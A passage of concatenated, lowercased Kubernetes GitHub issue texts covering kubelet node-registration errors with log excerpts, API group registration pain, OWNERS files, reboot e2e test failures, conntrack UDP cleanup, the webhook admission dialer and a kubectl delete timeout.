failure-domain.beta.kubernetes.io/zone=us-east-1c\r mar 22 17:39:52 ip-172-20-47-6 kubelet 1272 : i0322 17:39:52.478269    1272 kubelet_node_status.go:351  adding node label from cloud provider: failure-domain.beta.kubernetes.io/region=us-east-1\r mar 22 17:39:52 ip-172-20-47-6 kubelet 1272 : i0322 17:39:52.481317    1272 aws.go:1051  could not determine public dns from aws metadata.\r mar 22 17:39:52 ip-172-20-47-6 kubelet 1272 : i0322 17:39:52.482213    1272 kubelet_node_status.go:443  recording nodehassufficientdisk event message for node ip-172-20-47-6.ec2.internal\r mar 22 17:39:52 ip-172-20-47-6 kubelet 1272 : i0322 17:39:52.482232    1272 kubelet_node_status.go:443  recording nodehassufficientmemory event message for node ip-172-20-47-6.ec2.internal\r mar 22 17:39:52 ip-172-20-47-6 kubelet 1272 : i0322 17:39:52.482240    1272 kubelet_node_status.go:443  recording nodehasnodiskpressure event message for node ip-172-20-47-6.ec2.internal\r mar 22 17:39:52 ip-172-20-47-6 kubelet 1272 : i0322 17:39:52.590326    1272 qos_container_manager_linux.go:320   containermanager : updated qos cgroup configuration\r mar 22 17:39:56 ip-172-20-47-6 kubelet 1272 : e0322 17:39:56.929371    1272 kubelet_node_status.go:390  error updating node status, will retry: error getting node \ ip-172-20-47-6.ec2.internal\ : nodes \ ip-172-20-47-6.ec2.internal\  not found\r mar 22 17:39:56 ip-172-20-47-6 kubelet 1272 : e0322 17:39:56.930725    1272 kubelet_node_status.go:390  error updating node status, will retry: error getting node \ ip-172-20-47-6.ec2.internal\ : nodes \ ip-172-20-47-6.ec2.internal\  not found\r mar 22 17:39:56 ip-172-20-47-6 kubelet 1272 : e0322 17:39:56.932003    1272 kubelet_node_status.go:390  error updating node status, will retry: error getting node \ ip-172-20-47-6.ec2.internal\ : nodes \ ip-172-20-47-6.ec2.internal\  not found\r mar 22 17:39:56 ip-172-20-47-6 kubelet 1272 : e0322 17:39:56.933352    1272 kubelet_node_status.go:390  error updating node status, will retry: error getting node \ ip-172-20-47-6.ec2.internal\ : nodes \ ip-172-20-47-6.ec2.internal\  not found\r mar 22 17:39:56 ip-172-20-47-6 kubelet 1272 : e0322 17:39:56.934739    1272 kubelet_node_status.go:390  error updating node status, will retry: error getting node \ ip-172-20-47-6.ec2.internal\ : nodes \ ip-172-20-47-6.ec2.internal\  not found\r mar 22 17:39:56 ip-172-20-47-6 kubelet 1272 : e0322 17:39:56.934751    1272 kubelet_node_status.go:382  unable to update node status: update node status exceeds retry count\r mar 22 17:39:59 ip-172-20-47-6 kubelet 1272 : e0322 17:39:59.644036    1272 eviction_manager.go:238  eviction manager: unexpected err: failed to get node info: node 'ip-172-20-47-6.ec2.internal' not found\r mar 22 17:40:06 ip-172-20-47-6 kubelet 1272 : e0322 17:40:06.936367    1272 kubelet_node_status.go:390  error updating node status, will retry: error getting node \ ip-172-20-47-6.ec2.internal\ : nodes \ ip-172-20-47-6.ec2.internal\  not found\r mar 22 17:40:06 ip-172-20-47-6 systemd 1 : starting run docker-healthcheck once...\r mar 22 17:40:06 ip-172-20-47-6 kubelet 1272 : e0322 17:40:06.937942    1272 kubelet_node_status.go:390  error updating node status, will retry: error getting node \ ip-172-20-47-6.ec2.internal\ : nodes \ ip-172-20-47-6.ec2.internal\  not found\r mar 22 17:40:06 ip-172-20-47-6 kubelet 1272 : e0322 17:40:06.939321    1272 kubelet_node_status.go:390  error updating node status, will retry: error getting node \ ip-172-20-47-6.ec2.internal\ : nodes \ ip-172-20-47-6.ec2.internal\  not found\r mar 22 17:40:06 ip-172-20-47-6 kubelet 1272 : e0322 17:40:06.940565    1272 kubelet_node_status.go:390  error updating node status, will retry: error getting node \ ip-172-20-47-6.ec2.internal\ : nodes \ ip-172-20-47-6.ec2.internal\  not found\r mar 22 17:40:06 ip-172-20-47-6 kubelet 1272 : e0322 17:40:06.941770    1272 kubelet_node_status.go:390  error updating node status, will retry: error getting node \ ip-172-20-47-6.ec2.internal\ : nodes \ ip-172-20-47-6.ec2.internal\  not found\r mar 22 17:40:06 ip-172-20-47-6 kubelet 1272 : e0322 17:40:06.941777    1272 kubelet_node_status.go:382  unable to update node status: update node status exceeds retry count\r mar 22 17:40:06 ip-172-20-47-6 docker-healthcheck 11271 : docker healthy\r mar 22 17:40:06 ip-172-20-47-6 systemd 1 : started run docker-healthcheck once.\r mar 22 17:40:09 ip-172-20-47-6 kubelet 1272 : e0322 17:40:09.644226    1272 eviction_manager.go:238  eviction manager: unexpected err: failed to get node info: node 'ip-172-20-47-6.ec2.internal' not found\r mar 22 17:40:11 ip-172-20-47-6 kubelet 1272 : i0322 17:40:11.534478    1272 kubelet.go:1853  syncloop  delete, \ api\  : \ kube-proxy-ip-172-20-47-6.ec2.internal_kube-system 7f0df1b2-4cc9-11e9-bc50-121ba07c8a60 \ \r mar 22 17:40:11 ip-172-20-47-6 kubelet 1272 : i0322 17:40:11.534568    1272 kubelet_node_status.go:280  setting node annotation to enable volume controller attach/detach\r mar 22 17:40:11 ip-172-20-47-6 kubelet 1272 : i0322 17:40:11.534581    1272 kubelet_node_status.go:336  adding node label from cloud provider: beta.kubernetes.io/instance-type=m4.2xlarge\r mar 22 17:40:11 ip-172-20-47-6 kubelet 1272 : i0322 17:40:11.534587    1272 kubelet_node_status.go:347  adding node label from cloud provider: failure-domain.beta.kubernetes.io/zone=us-east-1c\r mar 22 17:40:11 ip-172-20-47-6 kubelet 1272 : i0322 17:40:11.534592    1272 kubelet_node_status.go:351  adding node label from cloud provider: failure-domain.beta.kubernetes.io/region=us-east-1\r mar 22 17:40:11 ip-172-20-47-6 kubelet 1272 : i0322 17:40:11.537705    1272 aws.go:1051  could not determine public dns from aws metadata.\r mar 22 17:40:11 ip-172-20-47-6 kubelet 1272 : i0322 17:40:11.537845    1272 kubelet.go:1847  syncloop  remove, \ api\  : \ kube-proxy-ip-172-20-47-6.ec2.internal_kube-system 7f0df1b2-4cc9-11e9-bc50-121ba07c8a60 \ \r mar 22 17:40:11 ip-172-20-47-6 kubelet 1272 : i0322 17:40:11.538766    1272 kubelet_node_status.go:443  recording nodehassufficientdisk event message for node ip-172-20-47-6.ec2.internal\r mar 22 17:40:11 ip-172-20-47-6 kubelet 1272 : i0322 17:40:11.538787    1272 kubelet_node_status.go:443  recording nodehassufficientmemory event message for node ip-172-20-47-6.ec2.internal\r mar 22 17:40:11 ip-172-20-47-6 kubelet 1272 : i0322 17:40:11.538794    1272 kubelet_node_status.go:443  recording nodehasnodiskpressure event message for node ip-172-20-47-6.ec2.internal\r mar 22 17:40:11 ip-172-20-47-6 kubelet 1272 : w0322 17:40:11.538944    1272 kubelet.go:1601  deleting mirror pod \ kube-proxy-ip-172-20-47-6.ec2.internal_kube-system 7f0df1b2-4cc9-11e9-bc50-121ba07c8a60 \  because it is outdated\r mar 22 17:40:11 ip-172-20-47-6 kubelet 1272 : i0322 17:40:11.538954    1272 mirror_client.go:85  deleting a mirror pod \ kube-proxy-ip-172-20-47-6.ec2.internal_kube-system\ \r mar 22 17:40:11 ip-172-20-47-6 kubelet 1272 : i0322 17:40:11.545811    1272 kubelet.go:1837  syncloop  add, \ api\  : \ kube-proxy-ip-172-20-47-6.ec2.internal_kube-system 8afc7f03-4cc9-11e9-bc50-121ba07c8a60 \ \r mar 22 17:40:12 ip-172-20-47-6 kubelet 1272 : i0322 17:40:12.508128    1272 kubelet_node_status.go:280  setting node annotation to enable volume controller attach/detach\r mar 22 17:40:12 ip-172-20-47-6 kubelet 1272 : i0322 17:40:12.508148    1272 kubelet_node_status.go:336  adding node label from cloud provider: beta.kubernetes.io/instance-type=m4.2xlarge\r mar 22 17:40:12 ip-172-20-47-6 kubelet 1272 : i0322 17:40:12.508155    1272 kubelet_node_status.go:347  adding node label from cloud provider: failure-domain.beta.kubernetes.io/zone=us-east-1c\r mar 22 17:40:12 ip-172-20-47-6 kubelet 1272 : i0322 17:40:12.508160    1272 kubelet_node_status.go:351  adding node label from cloud provider: failure-domain.beta.kubernetes.io/region=us-east-1\r mar 22 17:40:12 ip-172-20-47-6 kubelet 1272 : i0322 17:40:12.511090    1272 aws.go:1051  could not determine public dns from aws metadata.\r mar 22 17:40:12 ip-172-20-47-6 kubelet 1272 : i0322 17:40:12.511950    1272 kubelet_node_status.go:443  recording nodehassufficientdisk event message for node ip-172-20-47-6.ec2.internal\r mar 22 17:40:12 ip-172-20-47-6 kubelet 1272 : i0322 17:40:12.511969    1272 kubelet_node_status.go:443  recording nodehassufficientmemory event message for node ip-172-20-47-6.ec2.internal\r mar 22 17:40:12 ip-172-20-47-6 kubelet 1272 : i0322 17:40:12.511976    1272 kubelet_node_status.go:443  recording nodehasnodiskpressure event message for node ip-172-20-47-6.ec2.internal\r mar 22 17:40:16 ip-172-20-47-6 kubelet 1272 : e0322 17:40:16.943303    1272 kubelet_node_status.go:390  error updating node status, will retry: error getting node \ ip-172-20-47-6.ec2.internal\ : nodes \ ip-172-20-47-6.ec2.internal\  not found\r mar 22 17:40:16 ip-172-20-47-6 kubelet 1272 : e0322 17:40:16.944735    1272 kubelet_node_status.go:390  error updating node status, will retry: error getting node \ ip-172-20-47-6.ec2.internal\ : nodes \ ip-172-20-47-6.ec2.internal\  not found\r mar 22 17:40:16 ip-172-20-47-6 kubelet 1272 : e0322 17:40:16.945991    1272 kubelet_node_status.go:390  error updating node status, will retry: error getting node \ ip-172-20-47-6.ec2.internal\ : nodes \ ip-172-20-47-6.ec2.internal\  not found\r mar 22 17:40:16 ip-172-20-47-6 kubelet 1272 : e0322 17:40:16.947231    1272 kubelet_node_status.go:390  error updating node status, will retry: error getting node \ ip-172-20-47-6.ec2.internal\ : nodes \ ip-172-20-47-6.ec2.internal\  not found\r mar 22 17:40:16 ip-172-20-47-6 kubelet 1272 : e0322 17:40:16.948416    1272 kubelet_node_status.go:390  error updating node status, will retry: error getting node \ ip-172-20-47-6.ec2.internal\ : nodes \ ip-172-20-47-6.ec2.internal\  not found\r mar 22 17:40:16 ip-172-20-47-6 kubelet 1272 : e0322 17:40:16.948429    1272 kubelet_node_status.go:382  unable to update node status: update node status exceeds retry count\r mar 22 17:40:19 ip-172-20-47-6 kubelet 1272 : e0322 17:40:19.644475    1272 eviction_manager.go:238  eviction manager: unexpected err: failed to get node info: node 'ip-172-20-47-6.ec2.internal' not found\r mar 22 17:40:20 ip-172-20-47-6 systemd 1 : starting run docker-healthcheck once...\r mar 22 17:40:20 ip-172-20-47-6 docker-healthcheck 11282 : docker healthy\r mar 22 17:40:20 ip-172-20-47-6 systemd 1 : started run docker-healthcheck once.\r mar 22 17:40:26 ip-172-20-47-6 kubelet 1272 : e0322 17:40:26.949858    1272 kubelet_node_status.go:390  error updating node status, will retry: error getting node \ ip-172-20-47-6.ec2.internal\ : nodes \ ip-172-20-47-6.ec2.internal\  not found\r mar 22 17:40:26 ip-172-20-47-6 kubelet 1272 : e0322 17:40:26.951278    1272 kubelet_node_status.go:390  error updating node status, will retry: error getting node \ ip-172-20-47-6.ec2.internal\ : nodes \ ip-172-20-47-6.ec2.internal\  not found\r mar 22 17:40:26 ip-172-20-47-6 kubelet 1272 : e0322 17:40:26.952546    1272 kubelet_node_status.go:390  error updating node status, will retry: error getting node \ ip-172-20-47-6.ec2.internal\ : nodes \ ip-172-20-47-6.ec2.internal\  not found\r mar 22 17:40:26 ip-172-20-47-6 kubelet 1272 : e0322 17:40:26.953799    1272 kubelet_node_status.go:390  error updating node status, will retry: error getting node \ ip-172-20-47-6.ec2.internal\ : nodes \ ip-172-20-47-6.ec2.internal\  not found\r mar 22 17:40:26 ip-172-20-47-6 kubelet 1272 : e0322 17:40:26.955663    1272 kubelet_node_status.go:390  error updating node status, will retry: error getting node \ ip-172-20-47-6.ec2.internal\ : nodes \ ip-172-20-47-6.ec2.internal\  not found\r mar 22 17:40:26 ip-172-20-47-6 kubelet 1272 : e0322 17:40:26.955675    1272 kubelet_node_status.go:382  unable to update node status: update node status exceeds retry count\r mar 22 17:40:29 ip-172-20-47-6 kubelet 1272 : e0322 17:40:29.644718    1272 eviction_manager.go:238  eviction manager: unexpected err: failed to get node info: node 'ip-172-20-47-6.ec2.internal' not found\r mar 22 17:40:31 ip-172-20-47-6 kubelet 1272 : i0322 17:40:31.547455    1272 kubelet.go:1853  syncloop  delete, \ api\  : \ kube-proxy-ip-172-20-47-6.ec2.internal_kube-system 8afc7f03-4cc9-11e9-bc50-121ba07c8a60 \ \r mar 22 17:40:31 ip-172-20-47-6 kubelet 1272 : i0322 17:40:31.547586    1272 kubelet_node_status.go:280  setting node annotation to enable volume controller attach/detach\r mar 22 17:40:31 ip-172-20-47-6 kubelet 1272 : i0322 17:40:31.547600    1272 kubelet_node_status.go:336  adding node label from cloud provider: beta.kubernetes.io/instance-type=m4.2xlarge\r mar 22 17:40:31 ip-172-20-47-6 kubelet 1272 : i0322 17:40:31.547606    1272 kubelet_node_status.go:347  adding node label from cloud provider: failure-domain.beta.kubernetes.io/zone=us-east-1c\r mar 22 17:40:31 ip-172-20-47-6 kubelet 1272 : i0322 17:40:31.547611    1272 kubelet_node_status.go:351  adding node label from cloud provider: failure-domain.beta.kubernetes.io/region=us-east-1\r mar 22 17:40:31 ip-172-20-47-6 kubelet 1272 : i0322 17:40:31.550392    1272 kubelet.go:1847  syncloop  remove, \ api\  : \ kube-proxy-ip-172-20-47-6.ec2.internal_kube-system 8afc7f03-4cc9-11e9-bc50-121ba07c8a60 \ \r mar 22 17:40:31 ip-172-20-47-6 kubelet 1272 : i0322 17:40:31.550783    1272 aws.go:1051  could not determine public dns from aws metadata.\r mar 22 17:40:31 ip-172-20-47-6 kubelet 1272 : i0322 17:40:31.551814    1272 kubelet_node_status.go:443  recording nodehassufficientdisk event message for node ip-172-20-47-6.ec2.internal\r mar 22 17:40:31 ip-172-20-47-6 kubelet 1272 : i0322 17:40:31.551842    1272 kubelet_node_status.go:443  recording nodehassufficientmemory event message for node ip-172-20-47-6.ec2.internal\r mar 22 17:40:31 ip-172-20-47-6 kubelet 1272 : i0322 17:40:31.551856    1272 kubelet_node_status.go:443  recording nodehasnodiskpressure event message for node ip-172-20-47-6.ec2.internal\r mar 22 17:40:31 ip-172-20-47-6 kubelet 1272 : w0322 17:40:31.552057    1272 kubelet.go:1601  deleting mirror pod \ kube-proxy-ip-172-20-47-6.ec2.internal_kube-system 8afc7f03-4cc9-11e9-bc50-121ba07c8a60 \  because it is outdated\r mar 22 17:40:31 ip-172-20-47-6 kubelet 1272 : i0322 17:40:31.552073    1272 mirror_client.go:85  deleting a mirror pod \ kube-proxy-ip-172-20-47-6.ec2.internal_kube-system\ \r mar 22 17:40:31 ip-172-20-47-6 kubelet 1272 : i0322 17:40:31.556869    1272 kubelet.go:1837  syncloop  add, \ api\  : \ kube-proxy-ip-172-20-47-6.ec2.internal_kube-system 96e9dcee-4cc9-11e9-bc50-121ba07c8a60 \ \r mar 22 17:40:32 ip-172-20-47-6 kubelet 1272 : i0322 17:40:32.536415    1272 kubelet_node_status.go:280  setting node annotation to enable volume controller attach/detach\r mar 22 17:40:32 ip-172-20-47-6 kubelet 1272 : i0322 17:40:32.536441    1272 kubelet_node_status.go:336  adding node label from cloud provider: beta.kubernetes.io/instance-type=m4.2xlarge\r mar 22 17:40:32 ip-172-20-47-6 kubelet 1272 : i0322 17:40:32.536452    1272 kubelet_node_status.go:347  adding node label from cloud provider: failure-domain.beta.kubernetes.io/zone=us-east-1c\r mar 22 17:40:32 ip-172-20-47-6 kubelet 1272 : i0322 17:40:32.536459    1272 kubelet_node_status.go:351  adding node label from cloud provider: failure-domain.beta.kubernetes.io/region=us-east-1\r mar 22 17:40:32 ip-172-20-47-6 kubelet 1272 : i0322 17:40:32.539363    1272 aws.go:1051  could not determine public dns from aws metadata.\r mar 22 17:40:32 ip-172-20-47-6 kubelet 1272 : i0322 17:40:32.540290    1272 kubelet_node_status.go:443  recording nodehassufficientdisk event message for node ip-172-20-47-6.ec2.internal\r mar 22 17:40:32 ip-172-20-47-6 kubelet 1272 : i0322 17:40:32.540308    1272 kubelet_node_status.go:443  recording nodehassufficientmemory event message for node ip-172-20-47-6.ec2.internal\r mar 22 17:40:32 ip-172-20-47-6 kubelet 1272 : i0322 17:40:32.540316    1272 kubelet_node_status.go:443  recording nodehasnodiskpressure event message for node ip-172-20-47-6.ec2.internal\r mar 22 17:40:36 ip-172-20-47-6 kubelet 1272 : e0322 17:40:36.957052    1272 kubelet_node_status.go:390  error updating node status, will retry: error getting node \ ip-172-20-47-6.ec2.internal\ : nodes \ ip-172-20-47-6.ec2.internal\  not found\r mar 22 17:40:36 ip-172-20-47-6 kubelet 1272 : e0322 17:40:36.959034    1272 kubelet_node_status.go:390  error updating node status, will retry: error getting node \ ip-172-20-47-6.ec2.internal\ : nodes \ ip-172-20-47-6.ec2.internal\  not found\r mar 22 17:40:36 ip-172-20-47-6 kubelet 1272 : e0322 17:40:36.960651    1272 kubelet_node_status.go:390  error updating node status, will retry: error getting node \ ip-172-20-47-6.ec2.internal\ : nodes \ ip-172-20-47-6.ec2.internal\  not found\r mar 22 17:40:36 ip-172-20-47-6 kubelet 1272 : e0322 17:40:36.961838    1272 kubelet_node_status.go:390  error updating node status, will retry: error getting node \ ip-172-20-47-6.ec2.internal\ : nodes \ ip-172-20-47-6.ec2.internal\  not found\r mar 22 17:40:36 ip-172-20-47-6 kubelet 1272 : e0322 17:40:36.963319    1272 kubelet_node_status.go:390  error updating node status, will retry: error getting node \ ip-172-20-47-6.ec2.internal\ : nodes \ ip-172-20-47-6.ec2.internal\  not found\r mar 22 17:40:36 ip-172-20-47-6 kubelet 1272 : e0322 17:40:36.963333    1272 kubelet_node_status.go:382  unable to update node status: update node status exceeds retry count\r mar 22 17:40:39 ip-172-20-47-6 kubelet 1272 : e0322 17:40:39.644969    1272 eviction_manager.go:238  eviction manager: unexpected err: failed to get node info: node 'ip-172-20-47-6.ec2.internal' not found\r    \r \r from master node:\r i did grep for the ip at all logs:\r \r kube-apiserver.log\r    \r kube-apiserver.log:i0322 18:00:07.871481       1 wrap.go:42  get /api/v1/nodes/ip-172-20-47-6.ec2.internal?resourceversion=0:  490.067µs  404   kubelet/v1.8.4  linux/amd64  kubernetes/9befc2b  172.20.47.6:25786 \r kube-apiserver.log:i0322 18:00:07.875456       1 wrap.go:42  get /api/v1/nodes/ip-172-20-47-6.ec2.internal:  2.800522ms  404   kubelet/v1.8.4  linux/amd64  kubernetes/9befc2b  172.20.47.6:25786 \r kube-apiserver.log:i0322 18:00:07.884816       1 wrap.go:42  get /api/v1/nodes/ip-172-20-47-6.ec2.internal:  4.897023ms  404   kubelet/v1.8.4  linux/amd64  kubernetes/9befc2b  172.20.47.6:25786 \r kube-apiserver.log:i0322 18:00:07.887454       1 wrap.go:42  get /api/v1/nodes/ip-172-20-47-6.ec2.internal:  1.505642ms  404   kubelet/v1.8.4  linux/amd64  kubernetes/9befc2b  172.20.47.6:25786 \r kube-apiserver.log:i0322 18:00:07.893049       1 wrap.go:42  get /api/v1/nodes/ip-172-20-47-6.ec2.internal:  2.649895ms  404   kubelet/v1.8.4  linux/amd64  kubernetes/9befc2b  172.20.47.6:25786 \r kube-apiserver.log:i0322 18:00:12.607380       1 wrap.go:42  delete /api/v1/namespaces/kube-system/pods/kube-proxy-ip-172-20-47-6.ec2.internal:  10.480294ms  200   kube-controller-manager/v1.8.4  linux/amd64  kubernetes/9befc2b/system:serviceaccount:kube-system:pod-garbage-collector  127.0.0.1:31076 \r kube-apiserver.log:i0322 18:00:12.607716       1 wrap.go:42  delete /api/v1/namespaces/kube-system/pods/kube-proxy-ip-172-20-47-6.ec2.internal:  1.196172ms  404   kubelet/v1.8.4  linux/amd64  kubernetes/9befc2b  172.20.47.6:25786 \r kube-apiserver.log:i0322 18:00:17.895075       1 wrap.go:42  get /api/v1/nodes/ip-172-20-47-6.ec2.internal?resourceversion=0:  371.759µs  404   kubelet/v1.8.4  linux/amd64  kubernetes/9befc2b  172.20.47.6:25786 \r kube-apiserver.log:i0322 18:00:17.896565       1 wrap.go:42  get /api/v1/nodes/ip-172-20-47-6.ec2.internal:  769.777µs  404   kubelet/v1.8.4  linux/amd64  kubernetes/9befc2b  172.20.47.6:25786 \r kube-apiserver.log:i0322 18:00:17.906535       1 wrap.go:42  get /api/v1/nodes/ip-172-20-47-6.ec2.internal:  9.416522ms  404   kubelet/v1.8.4  linux/amd64  kubernetes/9befc2b  172.20.47.6:25786 \r kube-apiserver.log:i0322 18:00:17.918620       1 wrap.go:42  get /api/v1/nodes/ip-172-20-47-6.ec2.internal:  11.567394ms  404   kubelet/v1.8.4  linux/amd64  kubernetes/9befc2b  172.20.47.6:25786 \r kube-apiserver.log:i0322 18:00:17.919862       1 wrap.go:42  get /api/v1/nodes/ip-172-20-47-6.ec2.internal:  717.01µs  404   kubelet/v1.8.4  linux/amd64  kubernetes/9befc2b  172.20.47.6:25786 \r k\r    \r \r kube-controller-manager.log\r \r    \r kube-controller-manager.log:i0322 18:07:52.986431       1 gc_controller.go:162  found orphaned pod kube-proxy-ip-172-20-47-6.ec2.internal assigned to the node ip-172-20-47-6.ec2.internal. deleting.\r kube-controller-manager.log:i0322 18:07:52.986586       1 gc_controller.go:62  podgc is force deleting pod: kube-system:kube-proxy-ip-172-20-47-6.ec2.internal\r kube-controller-manager.log:i0322 18:07:52.997913       1 gc_controller.go:166  forced deletion of orphaned pod kube-proxy-ip-172-20-47-6.ec2.internal succeeded\r kube-controller-manager.log:i0322 18:08:13.003140       1 gc_controller.go:162  found orphaned pod kube-proxy-ip-172-20-47-6.ec2.internal assigned to the node ip-172-20-47-6.ec2.internal. deleting.\r kube-controller-manager.log:i0322 18:08:13.003168       1 gc_controller.go:62  podgc is force deleting pod: kube-system:kube-proxy-ip-172-20-47-6.ec2.internal\r kube-controller-manager.log:i0322 18:08:13.016293       1 gc_controller.go:166  forced deletion of orphaned pod kube-proxy-ip-172-20-47-6.ec2.internal succeeded\r kube-controller-manager.log:i0322 18:08:33.022600       1 gc_controller.go:162  found orphaned pod kube-proxy-ip-172-20-47-6.ec2.internal assigned to the node ip-172-20-47-6.ec2.internal. deleting.\r kube-controller-manager.log:i0322 18:08:33.022626       1 gc_controller.go:62  podgc is force deleting pod: kube-system:kube-proxy-ip-172-20-47-6.ec2.internal\r kube-controller-manager.log:i0322 18:08:33.037989       1 gc_controller.go:166  forced deletion of orphaned pod kube-proxy-ip-172-20-47-6.ec2.internal succeeded\r kube-controller-manager.log:i0322 18:08:53.046876       1 gc_controller.go:162  found orphaned pod kube-proxy-ip-172-20-47-6.ec2.internal assigned to the node ip-172-20-47-6.ec2.internal. deleting.\r kube-controller-manager.log:i0322 18:08:53.046909       1 gc_controller.go:62  podgc is force deleting pod: kube-system:kube-proxy-ip-172-20-47-6.ec2.internal\r kube-controller-manager.log:i0322 18:08:53.085236       1 gc_controller.go:166  forced deletion of orphaned pod kube-proxy-ip-172-20-47-6.ec2.internal succeeded\r kube-controller-manager.log:i0322 18:09:13.091016       1 gc_controller.go:162  found orphaned pod kube-proxy-ip-172-20-47-6.ec2.internal assigned to the node ip-172-20-47-6.ec2.internal. deleting.\r kube-controller-manager.log:i0322 18:09:13.091042       1 gc_controller.go:62  podgc is force deleting pod: kube-system:kube-proxy-ip-172-20-47-6.ec2.internal\r kube-controller-manager.log:i0322 18:09:13.105183       1 gc_controller.go:166  forced deletion of orphaned pod kube-proxy-ip-172-20-47-6.ec2.internal succeeded\r    \r \r i'm trying to see what happened but can't find it. is there anything else i could upload to help?\r \r thanks

creating a new api group is really hard.  i'll keep this description up to date as i go through the pain. 1. you have to know to add yourself to the  import_known_versions.go  files in multiple packages to get included. 2. you have to manually update these files to get the generated output:    1.  hack/after-build/update-generated-conversions.sh     2.  hack/after-build/update-generated-deep-copies.sh     3.  hack/after-build/verify-generated-conversions.sh     4.  hack/after-build/verify-generated-deep-copies.sh     5.  hack/update-generated-swagger-docs.sh  3. you have to manually create  types.generated.go  in every internal and external package to get codec-gen to work. 4.  you have to update  pkg/api/registered/registered.go  to be allowed to install your group.  that's just to get your types registered.  right now, there's no pluggable way to include custom  reststorage  into the api server for my new types.  @caesarxuchao @lavalamp @liggitt @smarterclayton  @kubernetes/rh-cluster-infra @kubernetes/goog-csi

we have something like 20 controllers in pkg/controller - only 2 have their own owners files.  it would be nice if each controller came with an explicit owners file.

currently we have a custom setup that runs master components as top-level processes under supervisord, which is lighter than running kubelet and docker. we need to make it similar to production setup when they run as pods, so that we have better precision and we'll be able to experiment with introducing limits for components.\r \r cc @kubernetes/sig-scalability @wojtek-t

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-reboot-release-1.4/617/  multiple broken tests:  failed:  k8s.io  reboot  disruptive   feature:reboot  each node by ordering clean reboot and ensure they function upon restart {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:134 dec  1 22:08:13.111: all nodes should be ready after test, not ready nodes:  &typemeta{kind:,apiversion:,}  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:418     issues about this test specifically:  33874   failed:  k8s.io  reboot  disruptive   feature:reboot  each node by ordering unclean reboot and ensure they function upon restart {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:134 dec  1 22:11:30.950: all nodes should be ready after test, not ready nodes:  &typemeta{kind:,apiversion:,}  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:418     issues about this test specifically:  33882  35316   failed:  k8s.io  reboot  disruptive   feature:reboot  each node by dropping all inbound packets for a while and ensure they function afterwards {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:134 dec  1 22:16:29.069: all nodes should be ready after test, not ready nodes:  &typemeta{kind:,apiversion:,}  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:418     issues about this test specifically:  33405   failed:  k8s.io  reboot  disruptive   feature:reboot  each node by dropping all outbound packets for a while and ensure they function afterwards {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:134 dec  1 22:21:19.318: all nodes should be ready after test, not ready nodes:  &typemeta{kind:,apiversion:,}  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:418     issues about this test specifically:  33703  36230   failed:  k8s.io  reboot  disruptive   feature:reboot  each node by triggering kernel panic and ensure they function upon restart {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:104 dec  1 22:00:19.899: test failed; at least one node failed to reboot in the time given. /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:158     issues about this test specifically:  34123  35398  previous issues for this suite:  36952  37053  37106  37112

when we clean up a node port, we run  execconntracktool execer, \ -d\ , \ -p\ , \ udp\ , \ --dport\ , strconv.itoa port   .  this will clear all addresses, but what we really want is just nodeport addresses.\r \r i'm not sure what the right way to express this is.  consider that we use nodeport 30123 for service a and service port 30123 for service b.  when service a goes away, service b will have its state cleared.\r \r this is very low impact.  the nodeport range is intentionally obscure, and unlikely to actually collide with real services.  this only affects udp connections, which are not common.  udp is typically truly connectionless, so it shouldn't matter if the client gets a new backend.\r \r this would have to have a udp service be deleted while another udp service uses the same port and has active \ connections\  that it needs to stay with the same backend.\r \r maybe a comment in the code would be sufficient, with a todo to re-explore this if it ever becomes an issue?\r \r @m1093782566\r \r

currently webhoook admission plugin doesn't have a dialer: https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/admission/webhook/admission.go l260\r \r probably we need to plumb the dialer to the client like aggregator does: https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/kube-aggregator/pkg/apiserver/handler_proxy.go l213. otherwise the plugin won't be able to work in gke.\r \r cc @mandarjog @cheftako

@kubernetes/sig-cli-bugs\r   \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r commands as below:\r > kubectl get all -n kube-system\r name                   desired   current   up-to-date   available   age\r deploy/tiller-deploy   0         0         0            0           42m\r \r > kubectl delete deployment tiller-deploy -n kube-system\r error: timed out waiting for the condition\r \r > kubectl delete deployment tiller-deploy -n kube-system --cascade=false\r deployment \ tiller-deploy\  deleted\r \r > kubectl get all -n kube-system\r name                   desired   current   up-to-date   available   age\r deploy/tiller-deploy   0         0         0            0           47m\r \r > helm reset\r error: could not find tiller\r \r   what you expected to happen  :\r \r deployment tiller-deploy deleted, the only way to delete it is  minikube delete \r \r   how to reproduce it  as minimally and precisely as possible   :\r see what happed above\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r > kubectl version\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ clean\ , builddate:\ 2017-08-17t17:03:51z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ dirty\ , builddate:\ 2017-08-25t10:31:26z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r - cloud provider or hardware configuration  :\r > minikube version\r minikube version: v0.21.0\r - os  e.g. from 